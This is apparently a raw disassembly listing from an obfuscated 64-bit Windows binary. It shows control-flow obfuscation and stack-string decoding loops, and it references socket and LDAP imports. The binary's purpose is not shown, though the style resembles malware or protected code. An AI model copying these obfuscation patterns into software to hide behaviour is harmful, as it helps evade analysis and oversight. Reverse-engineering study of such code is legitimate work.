lea rax, [rbx + r15]
and dil, al
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, dil
lea edx, [rcx + rcx]
add dl, al
add dl, r11b
movzx eax, byte [rbp + rbx + 0x510]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c5433
sub r10b, 0xa
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400c5430
sub r10b, 6
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400c5420
lea rdx, [rbp + 0x17fafb8]
jmp 0x1400c5ee9
lea rdx, [rbp + 0x6ef0b6]
jmp 0x1400c5ee9
lea rdx, [rbp + 0x510]
mov rcx, rsi
call fcn.1400651a0
mov byte [rbp + 0x130], 0xf4
mov byte [rbp + 0x131], 0x9a
mov byte [rbp + 0x132], Ordinal_143
mov byte [rbp + 0x133], Ordinal_143
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x134], xmm0
mov qword [rbp + 0x144], rax
mov dword [rbp + 0x14c], eax
mov byte [rbp + 0x150], al
movabs rsi, 0x40cbbbb2e1fce5ea
movabs r15, 0xc59221e42dea4966
movabs r14, 0xc2633318a5f6b1be
movzx edx, byte [rsp + 0x31]
nop
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
mov rbx, r13
cmp rbx, 0x21
jae 0x1400c6a95
movzx r10d, byte [rbp + rbx + 0x130]
mov edi, r10d
nop dword [rax]
cmp r8, rbx
ja 0x1400c6a8d
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400c5fab
lea rcx, [rbx + rsi]
movzx eax, dil
and al, cl
add al, al
movzx edx, r10b
sub dl, al
sub dl, 0x66
add dl, cl
jmp 0x1400c5fd8
je 0x1400c6a1e
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c6992
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c6962
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400c6940
movzx r11d, bl
nop dword [rax]
cmp r9, rbx
ja 0x1400c6a85
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x1400c6008
lea edx, [r11 + 0x32]
movzx eax, dl
and al, r10b
add al, al
sub dl, al
sub dl, 0x5e
add dl, r10b
jmp 0x1400c6040
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c68fc
inc rax
cmp r8, rax
je 0x1400c68d3
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c68ad
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c6891
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400c65a9
nop dword [rax]
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400c658e
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400c6565
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c6543
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400c6527
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400c650b
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400c64eb
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400c64ce
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c64b0
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c6483
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400c6050
lea r8, [r9 + 0x1000]
lea r9, [r8 + 0x7a]
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400c6a69
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400c6a49
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400c6240
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400c6223
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400c6207
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400c6438
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1400c63f2
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400c63b4
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400c638a
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400c6050
lea r8, [r9 + 8]
lea r9, [r8 + 0xa]
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400c6359
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400c633b
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400c631f
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400c62ff
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400c62df
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1400c62c2
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400c62a0
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400c627b
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400c6260
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400c6050
lea r8, [r9 + 3]
lea r9, [r8 + 5]
jmp 0x1400c6050
lea ecx, [r11 + 0xe]
movzx eax, r10b
and al, cl
add al, al
movzx edx, r10b
sub dl, al
sub dl, 0x62
add dl, cl
jmp 0x1400c6040
lea ecx, [r11 + 0x3a]
movzx eax, r10b
and al, cl
mov edx, gethostname
sub dl, al
add dl, dl
add dl, r10b
add dl, cl
jmp 0x1400c5fe0
add r11b, 0x66
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400c5f80
lea edx, [r11 - 0x70]
movzx eax, r10b
and al, dl
mov ecx, 8
sub cl, al
add cl, cl
add cl, r10b
jmp 0x1400c6911
sub r11b, 0x44
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x24
inc r9
dec rbx
inc rbx
jmp 0x1400c5f63
sub r11b, 0x18
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x58
dec rbx
inc rbx
jmp 0x1400c5f63
lea edx, [r11 + 0x14]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_60
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1400c6853
add r11b, 0x40
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400c6977
add r11b, 0x6c
movzx eax, r10b
and al, r11b
mov ecx, 6
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400c697a
lea edx, [r11 - 0x68]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x28
add dl, cl
jmp 0x1400c69ae
sub r11b, 0x3c
movzx eax, r10b
and al, r11b
add al, al
movzx edx, r10b
sub dl, al
sub dl, 0x5c
add dl, r11b
jmp 0x1400c69db
sub r11b, 0x10
movzx eax, r10b
and al, r11b
mov ecx, gethostname
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x130]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c5f63
add r11b, 0x5e
movzx eax, r10b
and al, r11b
mov ecx, gethostname
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
mov byte [rbp + rbx + 0x130], dl
inc rbx
jmp 0x1400c5f63
lea edx, [r11 - 0x76]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_30
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
cmp r9, 3
jb 0x1400c63a5
lea edx, [r11 + 0x3c]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea edx, [rcx*2 - 0x48]
jmp 0x1400c6913
lea edx, [r11 - 0x4a]
movzx eax, r10b
and al, dl
mov ecx, 3
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
cmp r8, 0x80
jae 0x1400c683b
lea rax, [r9 + 0x3e8]
cmp r8, rax
jbe 0x1400c678f
lea edx, [r11 - 0xc]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_45
jmp 0x1400c63c3
lea edx, [r11 - 0x1e]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x2e
add dl, cl
lea rax, [r9 + r8]
cmp rax, 0x1000
je 0x1400c687b
lea rax, [r9 + 6]
cmp r8, rax
jbe 0x1400c66ad
lea edx, [r11 - 0x3e]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x4e
jmp 0x1400c6408
add r11b, 0x2c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x34
movzx eax, byte [rbp + rbx + 0x130]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c5f63
add r11b, 0x58
movzx eax, r10b
and al, r11b
add al, al
movzx edx, r10b
sub dl, al
sub dl, 0x68
add dl, r11b
jmp 0x1400c69db
lea edx, [r11 - 0x7c]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1400c69ae
sub r11b, 0x50
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_26
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400c697a
sub r11b, 0x24
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 4
jmp 0x1400c6977
lea edx, [r11 + 8]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x38
add dl, cl
jmp 0x1400c6853
add r11b, 0x34
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x6c
dec rbx
inc rbx
jmp 0x1400c5f63
add r11b, 0x60
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc r9
dec rbx
inc rbx
jmp 0x1400c5f63
lea edx, [r11 - 0x74]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
add cl, cl
add cl, r10b
jmp 0x1400c6911
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x1400c65cc
lea edx, [r11 - 0x16]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x66
jmp 0x1400c644d
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c6606
add r11b, 0x64
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_35
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x130]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c5f63
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c662b
lea edx, [r11 + 0xc]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x54
add dl, cl
jmp 0x1400c69ae
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c6654
sub r11b, 0x4c
movzx eax, r10b
and al, r11b
mov ecx, 0xa
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400c6977
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c667a
lea edx, [r11 - 0x78]
movzx eax, r10b
and al, dl
mov ecx, 0x24
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1400c6853
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400c644f
add r11b, 0x5c
movzx eax, r10b
and al, r11b
mov ecx, 0x3e
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x1400c5f63
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c66d0
lea edx, [r11 - 0x6a]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x1a
jmp 0x1400c6911
inc rax
cmp r8, rax
jne 0x1400c6701
add r11b, 0x6a
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc r9
dec rbx
inc rbx
jmp 0x1400c5f63
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c6730
add r11b, 0x3e
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x1400c5f63
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c6755
sub r11b, 0x1a
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x4a
jmp 0x1400c6977
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c640a
add r11b, 0x36
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x7a
movzx eax, byte [rbp + rbx + 0x130]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c5f63
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c67c5
sub r11b, 0x38
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x78
movzx eax, byte [rbp + rbx + 0x130]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c5f63
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c67ea
lea edx, [r11 + 0x70]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x10
add dl, cl
jmp 0x1400c69ae
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c680c
lea edx, [r11 - 0x14]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x74
add dl, cl
jmp 0x1400c6853
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c63cc
sub r11b, 0x40
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x40
dec rbx
inc rbx
jmp 0x1400c5f63
lea ecx, [r11 + 0x10]
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x70
add dl, r10b
sub r11b, 6
movzx eax, r11b
and al, r10b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
add cl, cl
add cl, r11b
add cl, r10b
add cl, dl
mov byte [rbp + rbx + 0x130], cl
jmp 0x1400c6977
lea ecx, [r11 - 0x1c]
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea edx, [rcx - 0x3c]
jmp 0x1400c69ae
add r11b, 0x2a
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x26
jmp 0x1400c697a
sub r11b, 0x52
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_35
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rbx
inc rbx
jmp 0x1400c5f63
sub r11b, 0x26
movzx eax, r10b
and al, r11b
mov ecx, 5
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc r9
dec rbx
inc rbx
jmp 0x1400c5f63
lea edx, [r11 + 6]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x2a
add dl, cl
add r11b, 0x26
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
sub r11b, 0xa
add r11b, r10b
mov byte [rbp + rbx + 0x130], r11b
inc r9
dec rbx
inc rbx
jmp 0x1400c5f63
lea edx, [rbx - 0x4a]
movzx eax, r10b
and al, dl
mov ecx, 3
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
dec rbx
inc rbx
jmp 0x1400c5f63
lea ecx, [rbx + 0xe]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x62
add r8, r9
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400c5f63
lea rcx, [rbx + r15]
movzx eax, cl
and al, dil
mov edx, reloc.WLDAP32.dll_Ordinal_27
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
movzx r11d, bl
sub r11b, 0x32
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, r10b
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0x130], al
inc r9
add rax, r9
sub rbx, rax
lea ecx, [rbx - 0x48]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 8
add r10b, cl
mov byte [rbp + rbx + 0x130], r10b
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x130]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c5f63
lea rcx, [rbx + r14]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x32
movzx eax, byte [rbp + rbx + 0x130]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400c5f63
sub r11b, 0x6e
movzx eax, r10b
and al, r11b
mov ecx, 1
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400c5f60
sub r11b, 0x42
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x32
jmp 0x1400c5f50
mov eax, dword [rbp + 0x16a7a68]
jmp 0x1400c6a9b
mov eax, dword [rbp + 0x676052]
jmp 0x1400c6a9b
mov eax, dword [rbp + 0x130]
cdqe
mov qword [rsp + 0x60], rax
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x78]
call fcn.14005ad30
mov rcx, rax
call fcn.14005ada0
xor eax, eax
mov rcx, qword [rbp + 0xa20]
xor rcx, rsp
call fcn.140198890
lea r11, [rsp + 0xb30]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov byte [rbp + 0x230], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0x231], gethostname
mov byte [rbp + 0x232], gethostname
mov byte [rbp + 0x233], Ordinal_50
mov byte [rbp + 0x234], 9
mov byte [rbp + 0x235], 9
mov byte [rbp + 0x236], Ordinal_200
mov byte [rbp + 0x237], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0x238], reloc.WS2_32.dll_socket
mov byte [rbp + 0x239], 0xc1
mov byte [rbp + 0x23a], Ordinal_30
mov byte [rbp + 0x23b], recv
mov byte [rbp + 0x23c], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp + 0x23d], 4
mov byte [rbp + 0x23e], 0
mov byte [rbp + 0x23f], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0x240], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x241], reloc.WS2_32.dll_socket
mov byte [rbp + 0x242], 7
mov byte [rbp + 0x243], Ordinal_30
mov byte [rbp + 0x244], 7
mov byte [rbp + 0x245], Ordinal_30
mov byte [rbp + 0x246], 1
mov byte [rbp + 0x247], 1
mov byte [rbp + 0x248], 0xfa
mov byte [rbp + 0x249], 0xf1
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x24a], xmm0
mov qword [rbp + 0x25a], rax
mov byte [rbp + 0x262], al
movabs r14, 0x461de9d80ff0259c
movabs r12, 0xead164e86f910744
movabs r15, 0xd259bd882fd070d4
movzx ebx, byte [rsp + 0x31]
nop dword [rax]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
mov rdi, r13
cmp rdi, 0x33
jae 0x1400c77a9
movzx r10d, byte [rbp + rdi + 0x230]
mov esi, r10d
nop dword [rax]
cmp r8, rdi
ja 0x1400c77a0
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400c6c3b
lea rcx, [rdi + r14]
mov rax, rcx
and rax, rsi
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rsi
sub bl, 0x44
jmp 0x1400c6c82
je 0x1400c772e
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c76a3
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c7670
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400c7632
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c760f
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c75e9
movzx r11d, dil
cmp r9, rdi
ja 0x1400c7797
lea rax, [r9 + 0x80]
cmp r8, rax
jae 0x1400c6cb6
lea edx, [r11 - 0x34]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x1400c6d03
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c75a7
inc rax
cmp r8, rax
je 0x1400c7585
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c7567
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c754b
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c752b
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400c7511
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x1400c726a
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c724e
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c7225
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400c7203
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400c71e5
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400c71c9
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400c71a9
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400c718d
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400c716d
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400c7140
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400c6d10
lea r8, [r9 + 4]
lea r9, [r8 + 0x2a]
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400c7777
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400c775b
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400c6efa
lea rcx, [r9 + 0x64]
cmp r8, rcx
jb 0x1400c6ee0
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400c6ec2
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400c70f7
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1400c70a9
lea rax, [r9 + 1]
cmp r8, rax
jb 0x1400c706a
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400c7044
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400c6d10
mov r8, rcx
lea r9, [rcx + 0x1000]
lea rax, [r9 + 0x80]
cmp rcx, rax
ja 0x1400c7017
lea rax, [r9 + 9]
cmp rcx, rax
ja 0x1400c6ff7
lea rax, [r9 + 0xa]
cmp rcx, rax
ja 0x1400c6fdb
lea rcx, [r9 + 0x10]
cmp r8, rcx
ja 0x1400c6fbb
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400c6f9f
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400c6f83
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400c6f5d
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400c6f38
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400c6f1a
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400c6d10
mov r8, rcx
lea r9, [rcx + 6]
jmp 0x1400c6d10
lea edx, [r11 - 0x4c]
movzx eax, dl
and al, r10b
mov ecx, 0xa
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x1400c6d03
lea ecx, [r11 + 0x7c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x64
jmp 0x1400c6c86
add r11b, 0x44
movzx eax, r11b
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
jmp 0x1400c6c10
lea edx, [r11 + 0x60]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400c75bc
add r11b, 0x28
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x18
inc r9
dec rdi
inc rdi
jmp 0x1400c6bf3
sub r11b, 0x10
movzx eax, r10b
and al, r11b
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
dec rdi
inc rdi
jmp 0x1400c6bf3
lea edx, [r11 - 0x48]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 8
add bl, dl
jmp 0x1400c764b
add r11b, 0x80
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x80
jmp 0x1400c7688
add r11b, 0x48
movzx eax, r10b
and al, r11b
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1400c768b
lea edx, [r11 + 0x10]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x70
add bl, dl
jmp 0x1400c76be
sub r11b, 0x28
movzx eax, r10b
and al, r11b
mov ecx, recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1400c76ea
sub r11b, 0x60
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x60
movzx eax, byte [rbp + rdi + 0x230]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c6bf3
sub r11b, 0x6c
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0xc
mov byte [rbp + rdi + 0x230], bl
inc rdi
jmp 0x1400c6bf3
lea edx, [r11 + 0x5c]
movzx eax, dl
and al, r10b
mov ecx, 0x3e
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
cmp r9, 0x64
jb 0x1400c705b
lea edx, [r11 + 0x28]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea ebx, [rcx*2 - 0x30]
jmp 0x1400c75bc
lea edx, [r11 + 0x24]
movzx eax, dl
and al, r10b
mov ecx, 2
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
cmp r8, 0x1000
jae 0x1400c74de
lea rax, [r9 + 0x2a]
cmp r8, rax
jbe 0x1400c73db
lea edx, [r11 - 8]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400c7083
lea ecx, [r11 - 0x14]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x74
lea rax, [r8 + r9]
cmp rax, 0xa
je 0x1400c74fb
lea rcx, [r9 + 5]
cmp r8, rcx
jbe 0x1400c7316
lea edx, [r11 + 0x2c]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x34
add bl, dl
jmp 0x1400c70c2
sub r11b, 0x38
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x78
movzx eax, byte [rbp + rdi + 0x230]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c6bf3
sub r11b, 0x70
movzx eax, r10b
and al, r11b
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1400c76ea
lea edx, [r11 + 0x58]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x68
add bl, dl
jmp 0x1400c76be
add r11b, 0x20
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1400c768b
sub r11b, 0x18
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x58
jmp 0x1400c7688
lea edx, [r11 - 0x50]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400c764b
add r11b, 0x78
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x48
dec rdi
inc rdi
jmp 0x1400c6bf3
add r11b, 0x40
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
inc r9
dec rdi
inc rdi
jmp 0x1400c6bf3
lea edx, [r11 + 8]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x38
add bl, dl
jmp 0x1400c75bc
lea rax, [r9 + 6]
cmp r8, rax
jae 0x1400c728f
lea edx, [r11 - 0x64]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x44
add bl, dl
jmp 0x1400c710c
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c72c5
sub r11b, 0x68
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
